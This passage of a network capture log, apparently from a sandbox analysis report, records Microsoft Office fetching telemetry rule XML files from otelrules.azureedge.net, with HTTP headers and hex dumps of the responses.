2024-12-07 17:27:07 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.7	49844	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:27:07 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:27:08 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:27:07 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 94f5badb-301e-0000-7603-48eecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172707Z-r1cf579d7786c2tshC1EWRr1gc00000002qg0000000010au x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:27:08 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.7	49845	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:27:08 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:27:08 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:27:08 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 5f90aa43-701e-0097-6403-48b8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172708Z-r1cf579d778bb9vvhC1EWRs95400000002kg000000003qrm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:27:08 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.7	49846	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:27:08 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:27:09 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:27:08 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: a762f06e-601e-0084-7004-486b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172708Z-r1cf579d778lntp7hC1EWR9gg400000002ag00000000911r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:27:09 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.7	49848	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:27:08 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:27:09 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:27:09 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 2d97fd60-e01e-000c-7b06-488e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172709Z-r1cf579d778kr8xrhC1EWRfkun00000003dg000000004w67 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:27:09 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.7	49849	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:27:09 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:27:09 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:27:09 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: c22706de-601e-00ab-7503-4866f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172709Z-r1cf579d7784wpmvhC1EWRk4cn00000002d0000000005nu3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:27:09 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.7	49850	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:27:09 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:27:10 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:27:10 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 22947e51-b01e-0021-7203-48cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172710Z-r1cf579d778z4wflhC1EWRa3h000000002y0000000008g6y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:27:10 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.7	49851	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:27:10 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:27:10 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:27:10 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 1f576be4-501e-008f-5405-489054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172710Z-r1cf579d77898tqwhC1EWRf9q8000000033g00000000175p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:27:10 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.7	49852	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:27:10 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:27:11 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:27:11 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: a681d1f9-301e-0020-1b07-486299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172711Z-r1cf579d778xq4f9hC1EWRx41g00000002t0000000005fdt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:27:11 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.7	49853	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:27:11 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:27:11 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:27:11 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: af038a62-701e-005c-6f03-48bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172711Z-r1cf579d778z4wflhC1EWRa3h000000002y0000000008g8a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:27:11 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.7	49854	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:27:11 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:27:12 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:27:11 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: 7b8d486f-101e-0017-1506-4847c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172711Z-r1cf579d77867vg8hC1EWR8knc00000002tg0000000060cf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:27:12 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.7	49855	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:27:11 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:27:12 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:27:12 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 1c872757-c01e-0034-1307-482af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172712Z-r1cf579d778g2t6ghC1EWRfggs00000002eg000000002b5k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:27:12 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.7	49856	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:27:12 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
